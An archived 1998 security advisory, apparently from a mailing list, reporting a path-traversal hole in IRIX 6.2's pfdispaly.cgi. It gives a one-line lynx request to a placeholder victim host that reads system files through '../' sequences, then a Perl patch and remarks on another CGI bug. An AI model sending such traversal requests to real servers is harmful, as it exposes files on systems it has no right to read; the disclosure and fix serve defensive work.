home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / •New Files / Happle#10 / Files / hack_part2.sit / hack_part2 / performer_tools < prev    next >
Encoding:
Internet Message Format  |  1999-05-16  |  1.6 KB  |  [TEXT/ttxt]

  1. Date:         Tue, 17 Mar 1998 00:06:48 +0100
  2. From:         "J.A. Gutierrez" <spd@GTC1.CPS.UNIZAR.ES>
  3. Subject:      IRIX performer_tools bug
  4.  
  5.     Do you remember the /cgi-bin/handler bug?
  6.  
  7.     Well, more of the same:
  8.  
  9.     Software:
  10.     IRIX 6.2
  11.     performer_tools.sw.webtools (Performer API Search Tool 2.2)
  12.     /var/www/cgi-bin/pfdispaly.cgi
  13.  
  14.     Bug: Anyone can read files (as 'nobody') from your system:
  15.  
  16.     Exploit:
  17.  
  18.     lynx -source \
  19.     'http://victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
  20.  
  21.     for instance :-)
  22.  
  23.  
  24.     Fix:
  25.  
  26. *** pfdispaly.cgi.O     Mon Mar 16 23:13:34 1998
  27. --- pfdispaly.cgi       Mon Mar 16 23:36:29 1998
  28. ***************
  29. *** 14,19 ****
  30. --- 14,20 ----
  31.   $fullcgiroot = "/var/www$cgiroot";
  32.  
  33.   $shortfilepath = "$ARGV[0]";
  34. + $shortfilepath =~ s/\.{2,}//g;
  35.   $fullfilepath = "$maindocroot$shortfilepath";
  36.   ($filename = $shortfilepath) =~ s/.*\/(.*)$/$1/;
  37.  
  38.  
  39.  
  40.     Note: I haven't tested the other Performer CGI's too much,
  41.     maybe they will have more nasty bugs.
  42.     (in fact, pfdispaly.cgi opens "$ARGV[0]" with "$maindocroot"
  43.     prepended; but somewhere 'dangerous' characters are escaped)
  44.  
  45.     There is another bug at pfsearch.cgi; which lacks of
  46.     a
  47.     print "Content-type: text/html\n\n";
  48.     line, so you get garbage in your browser.
  49.  
  50.     (and even worse, you have to enable JavaScript if you want
  51.     to use this set of CGIs...)
  52.  
  53.  
  54. --
  55.     J.A. Gutierrez                                   So be easy and free
  56.                                             when you're drinking with me
  57.                                       I'm a man you don't meet every day
  58.  finger me for PGP                                          (the pogues)
  59.